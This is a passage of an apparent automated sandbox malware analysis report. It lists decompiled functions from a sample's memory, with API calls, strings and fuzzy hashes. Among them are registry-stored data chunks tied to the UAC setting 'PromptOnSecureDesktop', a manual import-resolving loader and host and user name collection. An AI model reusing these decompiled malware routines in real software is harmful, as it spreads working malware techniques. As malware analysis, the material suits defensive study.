				_v8 = 0;
				if(_t34 - _t52 > 0x1c) {
					_t55 = 0x1c;
				}
				E0040EE08( &_v48, _a12, _t55);
				_t50 = _a20;
				_t61 = _t60 + 0xc;
				if(_t50 <= _t57) {
					L11:
					E0040F1ED(_v8, _t59 + _t55 - 0x2c, 0xa);
					RegDeleteValueA(_v16,  &_v48);
					RegCloseKey(_v16);
					return 0 | _t50 == _t57;
				} else {
					while(1) {
						_t58 = 0xff000;
						if(_t50 < 0xff000) {
							_t58 = _t50;
						}
						E0040F1ED(_v8, _t59 + _t55 - 0x2c, 0xa);
						_t61 = _t61 + 0xc;
						if(RegSetValueExA(_v16,  &_v48, 0, 3, _v12, _t58) != 0) {
							break;
						}
						_v12 =  &(_v12[_t58]);
						_t50 = _t50 - _t58;
						_v8 = _v8 + 1;
						if(_t50 > 0) {
							continue;
						}
						break;
					}
					_t57 = 0;
					goto L11;
				}
			}

0x0040e09c
0x0040e0ba
0x00000000
0x0040e172
0x0040e0c3
0x0040e0c6
0x0040e0c9
0x0040e0cc
0x0040e0cc
0x0040e0ce
0x0040e0cf
0x0040e0d7
0x0040e0d9
0x0040e0df
0x0040e0e3
0x0040e0e3
0x0040e0ec
0x0040e0f1
0x0040e0f4
0x0040e0f9
0x0040e13f
0x0040e149
0x0040e158
0x0040e161
0x00000000
0x0040e0fb
0x0040e0fb
0x0040e0fb
0x0040e102
0x0040e104
0x0040e104
0x0040e110
0x0040e115
0x0040e12f
0x00000000
0x00000000
0x0040e131
0x0040e134
0x0040e136
0x0040e13b
0x00000000
0x00000000
0x00000000
0x0040e13b
0x0040e13d
0x00000000
0x0040e13d

APIs

RegCreateKeyExA.ADVAPI32(80000001,0040E2A3,00000000,00000000,00000000,00020106,00000000,0040E2A3,00000000,000000E4), ref: 0040E0B2
RegSetValueExA.ADVAPI32(0040E2A3,?,00000000,00000003,80000001,000FF000,?,?,?,?,000000C8,PromptOnSecureDesktop), ref: 0040E127
RegDeleteValueA.ADVAPI32(0040E2A3,?,?,?,?,?,000000C8,PromptOnSecureDesktop), ref: 0040E158
RegCloseKey.ADVAPI32(0040E2A3,?,?,?,?,000000C8,PromptOnSecureDesktop,?,?,?,?,?,?,?,?,0040E2A3), ref: 0040E161

Strings

PromptOnSecureDesktop, xrefs: 0040E0D3

Memory Dump Source

Source File: 0000001A.00000002.443196839.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.443214097.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_A881.jbxd

Yara matches

Similarity

API ID: Value$CloseCreateDelete
String ID: PromptOnSecureDesktop
API String ID: 2667537340-2980165447
Opcode ID: 72ec9626f1a57597f212d5c6e724b1b36c6131d7c0d684d5184da94b21603b05
Instruction ID: af4a942e7328ea1ce2cdf979f73f75556816175b5134196b99f0fb832a21e1c2
Opcode Fuzzy Hash: 72ec9626f1a57597f212d5c6e724b1b36c6131d7c0d684d5184da94b21603b05
Instruction Fuzzy Hash: 2F218071A00219BBDF209FA6EC89EDF7F79EF08754F008072F904A6190E6718A64DB94

Uniqueness

Uniqueness Score: -1.00%

Function 006CE2E5, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 92registryCOMMON

Download Yara Rule

APIs

RegCreateKeyExA.ADVAPI32(80000001,006CE4F3,00000000,00000000,00000000,00020106,00000000,006CE4F3,00000000,000000E4), ref: 006CE302
RegSetValueExA.ADVAPI32(006CE4F3,?,00000000,00000003,80000001,000FF000,?,?,?,?,000000C8,PromptOnSecureDesktop), ref: 006CE377
RegDeleteValueA.ADVAPI32(006CE4F3,?,?,?,?,?,000000C8,PromptOnSecureDesktop), ref: 006CE3A8
RegCloseKey.ADVAPI32(006CE4F3,?,?,?,?,000000C8,PromptOnSecureDesktop,?,?,?,?,?,?,?,?,006CE4F3), ref: 006CE3B1

Strings

PromptOnSecureDesktop, xrefs: 006CE323

Memory Dump Source

Source File: 0000001A.00000002.443373510.00000000006C0000.00000040.00000001.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_6c0000_A881.jbxd

Yara matches

Similarity

API ID: Value$CloseCreateDelete
String ID: PromptOnSecureDesktop
API String ID: 2667537340-2980165447
Opcode ID: 71be46fcf4b4c1b855c56a8beb8c548cd5d416d4e28516e03566d8543fb954ad
Instruction ID: 9de8f017651b91c4d384fb64f4fb7ba8ebdb1cb10a3d5a1fc32e21704cc709fa
Opcode Fuzzy Hash: 71be46fcf4b4c1b855c56a8beb8c548cd5d416d4e28516e03566d8543fb954ad
Instruction Fuzzy Hash: 09217F31A0021DABDF209FA4EC85FEE7FBAEF08750F008069F908E3151E2729A54C790

Uniqueness

Uniqueness Score: -1.00%

Function 006C71AF, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 89COMMON

Download Yara Rule

APIs

GetUserNameA.ADVAPI32(?,?), ref: 006C71CA
LookupAccountNameA.ADVAPI32(00000000,?,?,?,?,?,?), ref: 006C7211
LocalFree.KERNEL32(?,?,?), ref: 006C726F
wsprintfA.USER32 ref: 006C7286

Strings

|, xrefs: 006C7203

Memory Dump Source

Source File: 0000001A.00000002.443373510.00000000006C0000.00000040.00000001.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_6c0000_A881.jbxd

Yara matches

Similarity

API ID: Name$AccountFreeLocalLookupUserwsprintf
String ID: |
API String ID: 2539190677-2343686810
Opcode ID: 0c0665c49b02975d3cb655efb4674a53369201e8279effc4896e63a6fe97e42a
Instruction ID: c87488ebafc16852babe40f2d810c494163e09538d4f8e36e1368f36624a1d14
Opcode Fuzzy Hash: 0c0665c49b02975d3cb655efb4674a53369201e8279effc4896e63a6fe97e42a
Instruction Fuzzy Hash: 21311C72504108BFDB01DFA8D845FEA7BADEF04354F14806AF859DB211DA79D7488F94

Uniqueness

Uniqueness Score: -1.00%

Function 0040AD08, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 55
stringnetworkCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040AD08(CHAR* _a4) {
				char _v132;
				int _t9;
				char _t11;
				intOrPtr* _t12;
				CHAR* _t13;
				CHAR* _t14;

				_t9 = gethostname( &_v132, 0x80);
				if(_t9 != 0) {
					_t14 = _a4;
					L15:
					if( *_t14 != 0) {
						return _t9;
					}
					return lstrcpyA(_t14, "LocalHost");
				}
				_t13 = _a4;
				_t11 = _v132;
				_t12 =  &_v132;
				_t14 = _t13;
				while(_t11 != 0) {
					if(_t11 < 0x61 || _t11 > 0x7a) {
						if(_t11 < 0x41 || _t11 > 0x5a) {
							if(_t11 < 0x30 || _t11 > 0x39) {
								if(_t11 != 0x2e) {
									goto L10;
								}
							}
						}
						goto L9;
					} else {
						L9:
						 *_t13 = _t11;
						_t13 =  &(_t13[1]);
						L10:
						_t12 = _t12 + 1;
						_t11 =  *_t12;
						continue;
					}
				}
				_t9 = lstrlenA(_t14);
				if(_t14[_t9] == 0x2e) {
					_t9 = lstrlenA(_t14);
					_t14[_t9] = 0;
				}
				goto L15;
			}

0x0040ad1c
0x0040ad24
0x0040ad71
0x0040ad74
0x0040ad77
0x0040ad88
0x0040ad88
0x00000000
0x0040ad7f
0x0040ad26
0x0040ad29
0x0040ad2c
0x0040ad2f
0x0040ad55
0x0040ad35
0x0040ad3d
0x0040ad45
0x0040ad4d
0x00000000
0x00000000
0x0040ad4d
0x0040ad45
0x00000000
0x0040ad4f
0x0040ad4f
0x0040ad4f
0x0040ad51
0x0040ad52
0x0040ad52
0x0040ad53
0x00000000
0x0040ad53
0x0040ad35
0x0040ad60
0x0040ad66
0x0040ad69
0x0040ad6b
0x0040ad6b
0x00000000

APIs

gethostname.WS2_32(?,00000080), ref: 0040AD1C
lstrlenA.KERNEL32(00000000), ref: 0040AD60
lstrlenA.KERNEL32(00000000), ref: 0040AD69
lstrcpyA.KERNEL32(00000000,LocalHost), ref: 0040AD7F

Strings

LocalHost, xrefs: 0040AD79

Memory Dump Source

Source File: 0000001A.00000002.443196839.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.443214097.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_A881.jbxd

Yara matches

Similarity

API ID: lstrlen$gethostnamelstrcpy
String ID: LocalHost
API String ID: 3695455745-3154191806
Opcode ID: 8a17093f3d26383e77935b758fdadb31e519a4398e40a43d70c627834661f375
Instruction ID: 5e983dddb47fd7e780230f110e9d304ee880480ae48faa8370a3fb9af9ed59c3
Opcode Fuzzy Hash: 8a17093f3d26383e77935b758fdadb31e519a4398e40a43d70c627834661f375
Instruction Fuzzy Hash: FA0149208443895EDF3107289844BEA3F675F9670AF104077E4C0BB692E77C8893835F

Uniqueness

Uniqueness Score: -1.00%

Function 006CB461, Relevance: 7.6, APIs: 5, Instructions: 131timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?), ref: 006CB503
FileTimeToLocalFileTime.KERNEL32(?,?), ref: 006CB512
SystemTimeToFileTime.KERNEL32(?,?), ref: 006CB531
GetTimeZoneInformation.KERNEL32(?), ref: 006CB579
wsprintfA.USER32 ref: 006CB607

Memory Dump Source

Source File: 0000001A.00000002.443373510.00000000006C0000.00000040.00000001.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_6c0000_A881.jbxd

Yara matches

Similarity

API ID: Time$File$Local$InformationSystemZonewsprintf
String ID:
API String ID: 4026320513-0
Opcode ID: fbb2cc535003bdd2a03704f06e43c86ec17b275768f9954b8d174276db173d5b
Instruction ID: 2de48d7d50bd24d3403dcc506a0c8c3bd6c525a538fc9fbbc5519e7c78943fc9
Opcode Fuzzy Hash: fbb2cc535003bdd2a03704f06e43c86ec17b275768f9954b8d174276db173d5b
Instruction Fuzzy Hash: BE511071D0021CAACF14DFD5D8859FEBBB9FF48304F50812AE501A6250E7B94AC9CF98

Uniqueness

Uniqueness Score: -1.00%

Function 00406069, Relevance: 7.6, APIs: 5, Instructions: 121
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00406069(_Unknown_base(*)()* _a4) {
				intOrPtr* _v8;
				signed int _v12;
				struct HINSTANCE__* _v16;
				intOrPtr _t47;
				_Unknown_base(*)()* _t48;
				_Unknown_base(*)()* _t50;
				struct HINSTANCE__* _t52;
				_Unknown_base(*)()* _t53;
				_Unknown_base(*)()* _t54;
				_Unknown_base(*)()* _t55;
				signed int _t56;
				_Unknown_base(*)()* _t59;
				_Unknown_base(*)()* _t62;
				_Unknown_base(*)()* _t63;
				intOrPtr _t69;
				_Unknown_base(*)()* _t76;
				_Unknown_base(*)()* _t77;
				intOrPtr* _t82;
				void* _t85;
				intOrPtr* _t87;
				_Unknown_base(*)()* _t89;

				_t82 = _a4;
				_t47 =  *_t82;
				_t3 = _t82 + 4; // 0x65e85621
				_t69 =  *_t3;
				_v12 = 1;
				if( *((intOrPtr*)(_t47 + 0x84)) != 0) {
					_t85 =  *((intOrPtr*)(_t47 + 0x80)) + _t69;
					_t48 = IsBadReadPtr(_t85, 0x14);
					__eflags = _t48;
					if(_t48 != 0) {
						L29:
						return _v12;
					}
					_t87 = _t85 + 0x10;
					_v8 = _t87;
					while(1) {
						_t50 =  *(_t87 - 4);
						__eflags = _t50;
						if(_t50 == 0) {
							goto L29;
						}
						_t52 = LoadLibraryA(_t50 + _t69);
						_v16 = _t52;
						__eflags = _t52 - 0xffffffff;
						if(_t52 == 0xffffffff) {
							L28:
							_t44 =  &_v12;
							 *_t44 = _v12 & 0x00000000;
							__eflags =  *_t44;
							goto L29;
						}
						_t10 = _t82 + 8; // 0x8bfffffa
						_t53 =  *_t10;
						__eflags = _t53;
						if(_t53 != 0) {
							_t14 = _t82 + 0xc; // 0x28408b06
							_t54 = E0040EBED(_t53, 4 +  *_t14 * 4);
						} else {
							_t11 = _t82 + 0xc; // 0x28408b06
							_t54 = E0040EBCC(4 +  *_t11 * 4);
						}
						 *(_t82 + 8) = _t54;
						__eflags = _t54;
						if(_t54 == 0) {
							goto L28;
						} else {
							_t18 = _t82 + 0xc; // 0x28408b06
							 *((intOrPtr*)(_t54 +  *_t18 * 4)) = _v16;
							 *(_t82 + 0xc) =  *(_t82 + 0xc) + 1;
							_t55 =  *(_t87 - 0x10);
							__eflags = _t55;
							if(_t55 == 0) {
								_t89 =  *_t87 + _t69;
								__eflags = _t89;
								_t76 = _t89;
							} else {
								_t89 = _t55 + _t69;
								_t76 =  *_v8 + _t69;
							}
							_t56 =  *_t89;
							__eflags = _t56;
							if(_t56 == 0) {
								L25:
								__eflags = _v12;
								if(_v12 == 0) {
									goto L29;
								}
								_v8 = _v8 + 0x14;
								_t59 = IsBadReadPtr(_v8 + 0xfffffff0, 0x14);
								__eflags = _t59;
								if(_t59 == 0) {
									_t87 = _v8;
									continue;
								}
								goto L29;
							} else {
								_a4 = _t76;
								_a4 = _a4 - _t89;
								__eflags = _t56;
								do {
									if(__eflags >= 0) {
										_t62 = GetProcAddress(_v16, _t56 + _t69 + 2);
										__eflags = _t62;
										if(_t62 == 0) {
											L21:
											_t63 = _a4;
											__eflags =  *(_t63 + _t89);
											if( *(_t63 + _t89) == 0) {
												_t38 =  &_v12;
												 *_t38 = _v12 & 0x00000000;
												__eflags =  *_t38;
												goto L25;
											}
											goto L22;
										}
										_t77 = _a4;
										__eflags = _t62 -  *(_t77 + _t89);
										if(_t62 ==  *(_t77 + _t89)) {
											goto L21;
										}
										L20:
										 *(_t77 + _t89) = _t62;
										goto L21;
									}
									_t62 = GetProcAddress(_v16, _t56 & 0x0000ffff);
									_t77 = _a4;
									goto L20;
									L22:
									_t89 = _t89 + 4;
									_t56 =  *_t89;
									__eflags = _t56;
								} while (__eflags != 0);
								goto L25;
							}
						}
					}
					goto L29;
				}
				return 1;
			}

0x00406071
0x00406074
0x0040607c
0x0040607c
0x00406082
0x00406087
0x00406099
0x0040609c
0x004060a2
0x004060a4
0x004061b2
0x00000000
0x004061b5
0x004060aa
0x004060ad
0x004060b5
0x004060b5
0x004060b8
0x004060ba
0x00000000
0x00000000
0x004060c3
0x004060c9
0x004060cc
0x004060cf
0x004061ae
0x004061ae
0x004061ae
0x004061ae
0x00000000
0x004061ae
0x004060d5
0x004060d5
0x004060d8
0x004060da
0x004060ee
0x004060fa
0x004060dc
0x004060dc
0x004060e7
0x004060e7
0x00406101
0x00406104
0x00406106
0x00000000
0x0040610c
0x0040610c
0x00406112
0x00406115
0x00406118
0x0040611b
0x0040611d
0x0040612d
0x0040612d
0x0040612f
0x0040611f
0x0040611f
0x00406127
0x00406127
0x00406131
0x00406133
0x00406135
0x0040618b
0x0040618b
0x0040618f
0x00000000
0x00000000
0x00406191
0x0040619e
0x004061a4
0x004061a6
0x004060b2
0x00000000
0x004060b2
0x00000000
0x00406137
0x00406137
0x0040613a
0x0040613d
0x0040613f
0x0040613f
0x0040615e
0x00406164
0x00406166
0x00406173
0x00406173
0x00406176
0x0040617a
0x00406187
0x00406187
0x00406187
0x00000000
0x00406187
0x00000000
0x0040617a
0x00406168
0x0040616b
0x0040616e
0x00000000
0x00000000
0x00406170
0x00406170
0x00000000
0x00406170
0x0040614a
0x00406150
0x00000000
0x0040617c
0x0040617c
0x0040617f
0x00406181
0x00406181
0x00000000
0x00406185
0x00406135
0x00406106
0x00000000
0x004060b5
0x00000000

APIs

IsBadReadPtr.KERNEL32(?,00000014,00000000,?,00000000,?,004064CF,00000000), ref: 0040609C
LoadLibraryA.KERNEL32(?,?,004064CF,00000000), ref: 004060C3
GetProcAddress.KERNEL32(?,00000014), ref: 0040614A
IsBadReadPtr.KERNEL32(-000000DC,00000014), ref: 0040619E

Memory Dump Source

Source File: 0000001A.00000002.443196839.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.443214097.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_A881.jbxd

Yara matches

Similarity

API ID: Read$AddressLibraryLoadProc
String ID:
API String ID: 2438460464-0
Opcode ID: beeb212f6d5b41c5424ed959fb710d65fbebcae36a96b2ee910fcd89165a7e78
Instruction ID: 2c66ad34c3d6fb1da92a891872b73c8746f5f3d5bf62d79dfacd6c24df0475f4
Opcode Fuzzy Hash: beeb212f6d5b41c5424ed959fb710d65fbebcae36a96b2ee910fcd89165a7e78
Instruction Fuzzy Hash: D5418C71A00105AFDB10CF58C884BAAB7B9EF14354F26807AE816EB3D1D738ED61CB84

Uniqueness

Uniqueness Score: -1.00%

Function 006C62B9, Relevance: 7.6, APIs: 5, Instructions: 121libraryloaderCOMMON

Download Yara Rule

APIs

IsBadHugeReadPtr.KERNEL32(?,00000014), ref: 006C62EC
LoadLibraryA.KERNEL32(?), ref: 006C6313
GetProcAddress.KERNEL32(00000000,?), ref: 006C639A
IsBadHugeReadPtr.KERNEL32(-000000DC,00000014), ref: 006C63EE

Memory Dump Source

Source File: 0000001A.00000002.443373510.00000000006C0000.00000040.00000001.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_6c0000_A881.jbxd

Yara matches

Similarity

API ID: HugeRead$AddressLibraryLoadProc
String ID:
API String ID: 3498078134-0
Opcode ID: 22151fd6ac6a99dd14e45186f4812a7dac7af9c00bb3bb0eb99ee7530713bb62
Instruction ID: d914857bc5291ba7054a1acd54adaacaa73c35a5ab8b6291bc01f1c792a94404
Opcode Fuzzy Hash: 22151fd6ac6a99dd14e45186f4812a7dac7af9c00bb3bb0eb99ee7530713bb62
Instruction Fuzzy Hash: 79416671A00159ABDB148F58C884FBAB7AAEF14354F24816DF80AD7390E731ED42CB94

Uniqueness

Uniqueness Score: -1.00%

Function 00402923, Relevance: 7.6, APIs: 5, Instructions: 107
COMMON

Download Yara Rule

C-Code - Quality: 62%

			E00402923(void* __ecx, void* __esi, intOrPtr _a4) {
				signed int* _v8;
				signed int* _v12;
				signed int* _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				signed short _v28;
				short _v30;
				short _v32;
				char _v292;
				char _v296;
				void* __ebx;
				void* __edi;
				void* _t37;
				intOrPtr _t41;
				signed int* _t42;
				signed short _t53;
				signed int** _t62;
				void* _t67;
				void* _t70;
				intOrPtr _t71;
				intOrPtr* _t79;
				signed int* _t80;
				void* _t81;
				void* _t82;
				void* _t83;

				_t81 = __esi;
				_t37 = 0xc;
				_v8 = 0;
				_v16 = 0;
				if(_a4 >= _t37) {
					_t67 = E00402816(_t37, __esi, __ecx, __esi, _a4);
					if(_t67 < _a4) {
						_t76 =  *(__esi + 6) & 0x0000ffff;
						_t41 = ( *(__esi + 0xa) & 0x0000ffff) + ( *(__esi + 8) & 0x0000ffff) + ( *(__esi + 6) & 0x0000ffff);
						_v20 = _t41;
						_v12 = 0;
						if(_t41 <= 0) {
							L13:
							_t42 = _v16;
							L14:
							return _t42;
						}
						while(_t67 < _a4) {
							E0040EE2A(_t76,  &_v296, 0, 0x114);
							_t70 = E00402871(_t67, _t81, _t76,  &_v292, _a4);
							_t15 = _t70 + 0xa; // 0xa
							_t83 = _t82 + 0x10;
							if(_t15 >= _a4) {
								goto L13;
							}
							_t79 = __imp__#15;
							_v32 =  *_t79( *(_t70 + _t81) & 0x0000ffff);
							_v30 =  *_t79( *(_t70 + _t81 + 2) & 0x0000ffff);
							_t53 =  *_t79( *(_t70 + _t81 + 8) & 0x0000ffff);
							_v28 = _t53;
							_t71 = _t70 + 0xa;
							_v24 = _t71;
							if((_t53 & 0x0000ffff) + _t71 > _a4) {
								goto L13;
							}
							_t80 = HeapAlloc(GetProcessHeap(), 0, 0x124);
							if(_t80 == 0) {
								goto L13;
							}
							E0040EE2A(_t76, _t80, 0, 0x124);
							E0040EE08(_t80,  &_v296, 0x114);
							 *_t80 =  *_t80 & 0x00000000;
							_t67 = _t71 + (_v28 & 0x0000ffff);
							_t62 = _v8;
							_t82 = _t83 + 0x18;
							_v8 = _t80;
							if(_t62 != 0) {
								 *_t62 = _t80;
							} else {
								_v16 = _t80;
							}
							_v12 = _v12 + 1;
							if(_v12 < _v20) {
								continue;
							} else {
								goto L13;
							}
						}
						goto L13;
					}
					_t42 = 0;
					goto L14;
				}
				return 0;
			}

0x00402923
0x00402931
0x00402932
0x00402935
0x0040293b
0x00402950
0x00402957
0x0040296a
0x0040296e
0x00402970
0x00402973
0x00402978
0x00402a5b
0x00402a5b
0x00402a5e
0x00000000
0x00402a5e
0x0040297e
0x00402995
0x004029ac
0x004029ae
0x004029b1
0x004029b7
0x00000000
0x00000000
0x004029c1
0x004029ca
0x004029d6
0x004029e0
0x004029e2
0x004029e6
0x004029ee
0x004029f4
0x00000000
0x00000000
0x00402a0a
0x00402a0e
0x00000000
0x00000000
0x00402a18
0x00402a2a
0x00402a33
0x00402a36
0x00402a38
0x00402a3b
0x00402a3e
0x00402a43
0x00402a4a
0x00402a45
0x00402a45
0x00402a45
0x00402a4c
0x00402a55
0x00000000
0x00000000
0x00000000
0x00000000
0x00402a55
0x00000000
0x0040297e
0x00402959
0x00000000
0x00402959
0x00000000

Memory Dump Source

Source File: 0000001A.00000002.443196839.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.443214097.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_A881.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7d7be85cd36f3663e93a2a6933a3c0dd16534f9087a3b26c869853f350d83737
Instruction ID: 0bfd2bf0caf83722c61519a9099cbfb16c0865a6a5fe5c2769a2057d5fd36f2a
Opcode Fuzzy Hash: 7d7be85cd36f3663e93a2a6933a3c0dd16534f9087a3b26c869853f350d83737
Instruction Fuzzy Hash: 2931A471A00219ABCB109FA6CD85ABEB7F4FF48705F10846BF504F62C1E7B8D6418B68

Uniqueness

Uniqueness Score: -1.00%

Function 0040E654, Relevance: 7.6, APIs: 3, Strings: 2, Instructions: 96
stringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040E654(intOrPtr _a4, intOrPtr _a8, CHAR* _a12) {
				intOrPtr _t30;
				CHAR* _t31;
				int _t34;
				intOrPtr* _t41;
				intOrPtr* _t42;
				void* _t47;
				intOrPtr _t51;
				int _t52;
				void* _t53;
				intOrPtr _t54;
				void* _t55;
				char _t59;

				E0040DD05();
				_t41 = 0x4120e8;
				_t55 =  *0x4120e8 - 0x4120e8; // 0x4120e8
				if(_t55 == 0) {
					L9:
					_t53 = E0040EBCC(0x1c);
					if(_t53 != 0) {
						 *((intOrPtr*)(_t53 + 0x18)) = _a4;
						 *((intOrPtr*)(_t53 + 4)) = _a8;
						E00403E8F(0x4120e8, _t53);
						__eflags = _a12;
						if(_a12 == 0) {
							 *(_t53 + 8) = 0;
						} else {
							_t15 = _t53 + 8; // 0x8
							lstrcpynA(_t15, _a12, 0xf);
							 *((char*)(_t53 + 0x17)) = 0;
						}
						L15:
						_t42 = 0x4120e4;
						__eflags =  *0x4120e4 - _t42; // 0x4120e4
						if(__eflags == 0) {
							L22:
							_t47 = 1;
							L11:
							E0040DD69();
							return _t47;
						} else {
							goto L16;
						}
						do {
							L16:
							_t30 =  *((intOrPtr*)(_t53 + 4));
							_t51 =  *_t42;
							__eflags = _t30 - 0xffffffff;
							if(_t30 == 0xffffffff) {
								L18:
								_t20 = _t53 + 8; // 0x8
								_t31 = _t20;
								__eflags =  *_t31;
								if( *_t31 == 0) {
									L20:
									_t52 = _t51 + 0xc;
									__eflags = _t52;
									 *((intOrPtr*)(_t53 + 0x18))(_t52, 1);
									goto L21;
								}
								_t34 = lstrcmpA(_t51 + 0x10, _t31);
								__eflags = _t34;
								if(_t34 != 0) {
									goto L21;
								}
								goto L20;
							}
							__eflags =  *(_t51 + 0xc) - _t30;
							if( *(_t51 + 0xc) != _t30) {
								goto L21;
							}
							goto L18;
							L21:
							_t42 =  *_t42;
							__eflags =  *_t42 - 0x4120e4;
						} while ( *_t42 != 0x4120e4);
						goto L22;
					}
					_t47 = 0;
					goto L11;
				} else {
					goto L1;
				}
				do {
					L1:
					_t54 =  *_t41;
					if( *((intOrPtr*)(_t54 + 0x18)) == _a4 &&  *((intOrPtr*)(_t54 + 4)) == _a8) {
						if(_a12 != 0) {
							_t8 = _t54 + 8; // 0x74e043e8
							__eflags = lstrcmpA(_t8, _a12);
						} else {
							_t59 =  *(_t54 + 8);
						}
						if(_t59 == 0) {
							break;
						} else {
							goto L7;
						}
					}
					L7:
					_t41 =  *_t41;
					_t53 = 0;
				} while ( *_t41 != 0x4120e8);
				if(_t53 != 0) {
					goto L15;
				}
				goto L9;
			}

0x0040e65a
0x0040e664
0x0040e666
0x0040e66c
0x0040e6a9
0x0040e6b0
0x0040e6b5
0x0040e6c8
0x0040e6d0
0x0040e6d3
0x0040e6d8
0x0040e6de
0x0040e6f5
0x0040e6e0
0x0040e6e5
0x0040e6e9
0x0040e6ef
0x0040e6ef
0x0040e6f9
0x0040e6f9
0x0040e6fe
0x0040e704
0x0040e741
0x0040e743
0x0040e6b9
0x0040e6b9
0x0040e6c4
0x00000000
0x00000000
0x00000000
0x0040e706
0x0040e706
0x0040e706
0x0040e709
0x0040e70b
0x0040e70e
0x0040e715
0x0040e715
0x0040e715
0x0040e718
0x0040e71b
0x0040e72c
0x0040e72c
0x0040e72c
0x0040e732
0x00000000
0x0040e736
0x0040e722
0x0040e728
0x0040e72a
0x00000000
0x00000000
0x00000000
0x0040e72a
0x0040e710
0x0040e713
0x00000000
0x00000000
0x00000000
0x0040e737
0x0040e737
0x0040e739
0x0040e739
0x00000000
0x0040e706
0x0040e6b7
0x00000000
0x00000000
0x00000000
0x00000000
0x0040e66e
0x0040e66e
0x0040e66e
0x0040e676
0x0040e684
0x0040e68f
0x0040e699
0x0040e686
0x0040e686
0x0040e686
0x0040e69b
0x00000000
0x00000000
0x00000000
0x00000000
0x0040e69b
0x0040e69d
0x0040e69d
0x0040e69f
0x0040e6a1
0x0040e6a7
0x00000000
0x00000000
0x00000000

APIs

Part of subcall function 0040DD05: GetTickCount.KERNEL32 ref: 0040DD0F
Part of subcall function 0040DD05: InterlockedExchange.KERNEL32(004136B4,00000001), ref: 0040DD44
Part of subcall function 0040DD05: GetCurrentThreadId.KERNEL32 ref: 0040DD53

lstrcmpA.KERNEL32(74E043E8,00000000,?,74E043E0,00000000,?,00405EC1), ref: 0040E693
lstrcpynA.KERNEL32(00000008,00000000,0000000F,?,74E043E0,00000000,?,00405EC1), ref: 0040E6E9
lstrcmpA.KERNEL32(?,00000008,?,74E043E0,00000000,?,00405EC1), ref: 0040E722

Strings

A, xrefs: 0040E6F9, 0040E6FE, 0040E739
A, xrefs: 0040E65F, 0040E666, 0040E6CF, 0040E731

Memory Dump Source

Source File: 0000001A.00000002.443196839.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.443214097.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_A881.jbxd

Yara matches

Similarity

API ID: lstrcmp$CountCurrentExchangeInterlockedThreadTicklstrcpyn
String ID: A$ A
API String ID: 3343386518-686259309
Opcode ID: 951ece8c2afd944643beef7ac70d50e077dd33d1a65e809f7a70b3905a3fc363
Instruction ID: 47b803fc1c440cad9c550ff35358ad860d5bc2ca4051ff98ce99c32b6473ed9c
Opcode Fuzzy Hash: 951ece8c2afd944643beef7ac70d50e077dd33d1a65e809f7a70b3905a3fc363
Instruction Fuzzy Hash: CC31C031600301DBCB318F66E8847977BE4AB24314F508D3BE555A7690D779E8A0CB89

Uniqueness

Uniqueness Score: -1.00%

Function 0040F26D, Relevance: 7.6, APIs: 5, Instructions: 63COMMON

Download Yara Rule

APIs

setsockopt.WS2_32(00000000,0000FFFF,00000004,00000000,00000004), ref: 0040F2A0
setsockopt.WS2_32(00000004,0000FFFF,00001005,00000004,00000004), ref: 0040F2C0
setsockopt.WS2_32(00000004,0000FFFF,00001006,00000004,00000004), ref: 0040F2DD
setsockopt.WS2_32(?,00000006,00000001,?,00000004), ref: 0040F2EC
setsockopt.WS2_32(?,0000FFFF,00000080,?,00000004), ref: 0040F2FD

Memory Dump Source

Source File: 0000001A.00000002.443196839.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.443214097.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_A881.jbxd

Yara matches

Similarity

API ID: setsockopt
String ID:
API String ID: 3981526788-0
Opcode ID: 8b4be0266ee07c3102769aa2bfb0f3fbe40b153d7f42fbd5c93fb3948aedae23
Instruction ID: 54276ff97121d9260d4f5268cf3942b14174050ddbce03adff589c8218e6c2bb
Opcode Fuzzy Hash: 8b4be0266ee07c3102769aa2bfb0f3fbe40b153d7f42fbd5c93fb3948aedae23
Instruction Fuzzy Hash: 6B110AB2A40248BAEF11DF94CD85FDE7FBCEB44751F008066BB04EA1D0E6B19A44CB94

Uniqueness

Uniqueness Score: -1.00%

Function 00402419, Relevance: 7.5, APIs: 4, Strings: 1, Instructions: 45
stringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00402419(void* __ecx, CHAR* _a4, intOrPtr _a8, CHAR* _a12) {
				int _v8;
				int _t18;
				intOrPtr _t20;
				CHAR* _t21;
				int _t30;
				CHAR* _t36;

				_t18 = lstrlenA(_a12);
				_t36 = _a4;
